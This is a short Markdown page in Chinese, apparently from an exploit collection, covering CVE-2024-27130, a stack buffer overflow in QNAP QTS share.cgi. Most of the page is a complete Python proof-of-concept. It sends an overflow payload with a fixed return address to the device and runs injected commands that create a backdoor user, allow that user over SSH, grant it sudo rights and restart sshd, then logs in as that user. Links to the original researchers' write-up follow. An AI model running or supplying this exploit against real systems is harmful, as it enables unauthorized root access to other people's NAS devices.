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69 lines
2.3 KiB
Markdown
69 lines
2.3 KiB
Markdown
## QNAP-QTS溢出导致的未授权RCE漏洞(CVE-2024-27130)
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share.cgi的No_Support_ACL函数中未修补的堆栈缓冲区溢出漏洞，该漏洞可让攻击者在满足特定先决条件时执行远程代码。
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## 利用脚本
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```python
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import argparse
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import os
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import requests
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import urllib3
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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parser = argparse.ArgumentParser(prog='PoC', description='PoC for CVE-2024-27130', usage="Obtain an 'ssid' by requesting a NAS user to share a file to you.")
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parser.add_argument('host')
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parser.add_argument('ssid')
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def main(args):
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docmd(args, f"/../../../../usr/local/bin/useradd -p \\"$(openssl passwd -6 {parsedArgs.password})\\" watchtowr #".encode('ascii'))
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docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ")
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docmd(args, b"/../../../../bin/echo watchtowr ALL=\\\\(ALL\\\\) ALL >> /usr/etc/sudoers # ")
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docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ")
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def docmd(args, cmd):
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print(f"Doing command '{cmd}'")
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buf = cmd
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buf = buf + b'A' * (4082 - len(buf))
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buf = buf + (0x54140508).to_bytes(4, 'little') # delimiter
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buf = buf + (0x54140508).to_bytes(4, 'little') # r0 and r3
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buf = buf + (0x54140508).to_bytes(4, 'little') #
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buf = buf + (0x54140508).to_bytes(4, 'little') # r7
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buf = buf + (0x73af5148).to_bytes(4, 'little') # pc
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payload = {
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'ssid': args.ssid,
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'func': 'get_file_size',
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'total': '1',
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'path': '/',
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'name': buf
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}
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requests.post(
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f"https://{args.host}/cgi-bin/filemanager/share.cgi",
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verify=False,
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data=payload,
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timeout=2
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)
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def makeRandomString():
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chars = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
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return "".join(chars[c % len(chars)] for c in os.urandom(8))
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parsedArgs = parser.parse_args()
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parsedArgs.password = makeRandomString()
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main(parsedArgs)
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print(f"Created new user OK. Log in with password '{parsedArgs.password}' when prompted.")
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os.system(f'ssh watchtowr@{parsedArgs.host}')
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```
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## 漏洞分析
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- [QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends) (watchtowr.com)](https://labs.watchtowr.com/qnap-qts-qnapping-at-the-wheel-cve-2024-27130-and-friends/)
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- [watchtowrlabs/CVE-2024-27130: PoC for CVE-2024-27130 (github.com)](https://github.com/watchtowrlabs/CVE-2024-27130) |